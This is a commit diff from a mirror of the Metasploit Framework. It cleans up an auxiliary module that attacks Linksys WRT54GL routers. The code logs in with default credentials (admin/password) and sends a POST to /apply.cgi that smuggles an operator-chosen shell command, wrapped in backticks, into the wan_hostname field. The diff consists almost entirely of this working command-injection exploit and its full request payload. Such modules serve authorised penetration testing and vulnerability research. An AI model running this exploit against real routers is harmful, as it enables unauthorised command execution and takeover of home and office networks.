infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

cleanup for linksys_wrt54gl_exec

bug/bundler_fix
jvazquez-r7 2013-01-24 17:50:14 +01:00
parent 816bc79d9d
commit 1fc747994e
1 changed files with 118 additions and 107 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

209
modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb
View File

@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary
[ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ], [ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ],
[ 'EDB', '24202' ], [ 'EDB', '24202' ],
[ 'BID', '57459' ], [ 'BID', '57459' ],
[ 'OSVDB', '89421' ], [ 'OSVDB', '89421' ]
], ],
'DefaultTarget' => 0, 'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 18 2013')) 'DisclosureDate' => 'Jan 18 2013'))
@ -47,13 +47,13 @@ class Metasploit3 < Msf::Auxiliary
Opt::RPORT(80), Opt::RPORT(80),
OptString.new('TARGETURI',[ true, 'PATH to OS Command Injection', '/apply.cgi']), OptString.new('TARGETURI',[ true, 'PATH to OS Command Injection', '/apply.cgi']),
OptString.new('USERNAME',[ true, 'User to login with', 'admin']), OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
OptString.new('PASSWORD',[ true, 'Password to login with', 'password']), OptString.new('PASSWORD',[ false, 'Password to login with', 'password']),
OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']), OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']),
OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']), OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']),
OptAddress.new('LANIP', [ false, 'LAN IP address of the router - CHANGE THIS', '1.1.1.1']), OptAddress.new('LANIP', [ false, 'LAN IP address of the router - CHANGE THIS', '1.1.1.1']),
OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']), OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']),
OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']), OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']),
OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']), OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500'])
], self.class) ], self.class)
end end
@ -75,8 +75,7 @@ class Metasploit3 < Msf::Auxiliary
ip = rhost.split('.') ip = rhost.split('.')
end end
# not sure if this is a good way for blank passwords: if datastore['PASSWORD'].nil?
if datastore['PASSWORD'] == "<BLANK>"
pass = "" pass = ""
else else
pass = datastore['PASSWORD'] pass = datastore['PASSWORD']
@ -84,108 +83,120 @@ class Metasploit3 < Msf::Auxiliary
print_status("Trying to login with #{user} / #{pass}") print_status("Trying to login with #{user} / #{pass}")
begin begin
res = send_request_cgi({ res = send_request_cgi({
'uri' => uri, 'uri' => uri,
'method' => 'GET', 'method' => 'GET',
'basic_auth' => "#{user}:#{pass}" 'basic_auth' => "#{user}:#{pass}"
}) })
unless (res.kind_of? Rex::Proto::Http::Response) unless (res.kind_of? Rex::Proto::Http::Response)
vprint_error("#{rhost} not responding") vprint_error("#{rhost} not responding")
end return :abort
end
return :abort if (res.code == 404) if (res.code == 404)
print_error("Not Found page returned")
return :abort
end
if [200, 301, 302].include?(res.code) if [200, 301, 302].include?(res.code)
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
else else
print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'") print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'")
return :abort return :abort
end end
rescue ::Rex::ConnectionError rescue ::Rex::ConnectionError
vprint_error("#{rhost} - Failed to connect to the web server") vprint_error("#{rhost} - Failed to connect to the web server")
return :abort return :abort
end
print_status("Sending remote command: " + datastore['CMD'])
# cmd = Rex::Text.uri_encode(datastore['CMD'])
cmd = datastore['CMD']
#original Post Request:
# data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"
if datastore['VERBOSE'] == true
print_line("using the following target URL: \n#{uri}")
end end
begin cmd = datastore['CMD']
res = send_request_cgi(
{
'uri' => uri,
'method' => 'POST',
'basic_auth' => "#{pass}:#{pass}",
#'data' => data_cmd,
'vars_post' => print_status("Sending remote command: " + cmd)
{
'submit_button' => "index", #cmd = Rex::Text.uri_encode(datastore['CMD'])
'change_action' => "1", #original Post Request:
'submit_type' => "1", #data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&"
'action' => "Apply", #data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&"
'now_proto' => "dhcp", #data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&"
'daylight_time' => "1", #data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&"
'lan_ipaddr' => "4", #data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&"
'wait_time' => "0", #data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&"
'need_reboot' => "0", #data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&"
'ui_language' => "de", #data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"
'wan_proto' => "dhcp",
'router_name' => "#{routername}", vprint_status("using the following target URL: #{uri}")
'wan_hostname' => "`#{cmd}`",
'wan_domain' => "#{wandomain}", begin
'mtu_enable' => "1", res = send_request_cgi({
'wan_mtu' => "#{wanmtu}", 'uri' => uri,
'lan_ipaddr_0' => "#{ip[0]}", 'method' => 'POST',
'lan_ipaddr_1' => "#{ip[1]}", 'basic_auth' => "#{pass}:#{pass}",
'lan_ipaddr_2' => "#{ip[2]}", #'data' => data_cmd,
'lan_ipaddr_3' => "#{ip[3]}",
'lan_netmask' => "#{netmask}", 'vars_post' => {
'lan_proto' => "dhcp", 'submit_button' => "index",
'dhcp_check' => "1", 'change_action' => "1",
'dhcp_start' => "100", 'submit_type' => "1",
'dhcp_num' => "50", 'action' => "Apply",
'dhcp_lease' => "0", 'now_proto' => "dhcp",
'wan_dns' => "4", 'daylight_time' => "1",
'wan_dns0_0' => "0", 'lan_ipaddr' => "4",
'wan_dns0_1' => "0", 'wait_time' => "0",
'wan_dns0_2' => "0", 'need_reboot' => "0",
'wan_dns0_3' => "0", 'ui_language' => "de",
'wan_dns1_0' => "0", 'wan_proto' => "dhcp",
'wan_dns1_1' => "0", 'router_name' => "#{routername}",
'wan_dns1_2' => "0", 'wan_hostname' => "`#{cmd}`",
'wan_dns1_3' => "0", 'wan_domain' => "#{wandomain}",
'wan_dns2_0' => "0", 'mtu_enable' => "1",
'wan_dns2_1' => "0", 'wan_mtu' => "#{wanmtu}",
'wan_dns2_2' => "0", 'lan_ipaddr_0' => "#{ip[0]}",
'wan_dns2_3' => "0", 'lan_ipaddr_1' => "#{ip[1]}",
'wan_wins' => "4", 'lan_ipaddr_2' => "#{ip[2]}",
'wan_wins_0' => "0", 'lan_ipaddr_3' => "#{ip[3]}",
'wan_wins_1' => "0", 'lan_netmask' => "#{netmask}",
'wan_wins_2' => "0", 'lan_proto' => "dhcp",
'wan_wins_3' => "0", 'dhcp_check' => "1",
'time_zone' => "-08+1+1", 'dhcp_start' => "100",
'_daylight_time' => '1' 'dhcp_num' => "50",
}, 'dhcp_lease' => "0",
}) 'wan_dns' => "4",
rescue ::Rex::ConnectionError 'wan_dns0_0' => "0",
vprint_error("#{rhost} - Failed to connect to the web server") 'wan_dns0_1' => "0",
return :abort 'wan_dns0_2' => "0",
end 'wan_dns0_3' => "0",
print_line("") 'wan_dns1_0' => "0",
'wan_dns1_1' => "0",
'wan_dns1_2' => "0",
'wan_dns1_3' => "0",
'wan_dns2_0' => "0",
'wan_dns2_1' => "0",
'wan_dns2_2' => "0",
'wan_dns2_3' => "0",
'wan_wins' => "4",
'wan_wins_0' => "0",
'wan_wins_1' => "0",
'wan_wins_2' => "0",
'wan_wins_3' => "0",
'time_zone' => "-08+1+1",
'_daylight_time' => '1'
}
})
rescue ::Rex::ConnectionError
vprint_error("#{rhost} - Failed to connect to the web server")
return :abort
end
if res and res.code == 200
print_status("Blind Exploitation - Response expected")
else
print_error("Blind Exploitation - Response don't expected")
end
print_status("Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed") print_status("Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed")
print_status("Blind Exploitation - unknown Exploitation state\n") print_status("Blind Exploitation - unknown Exploitation state")
end end
end end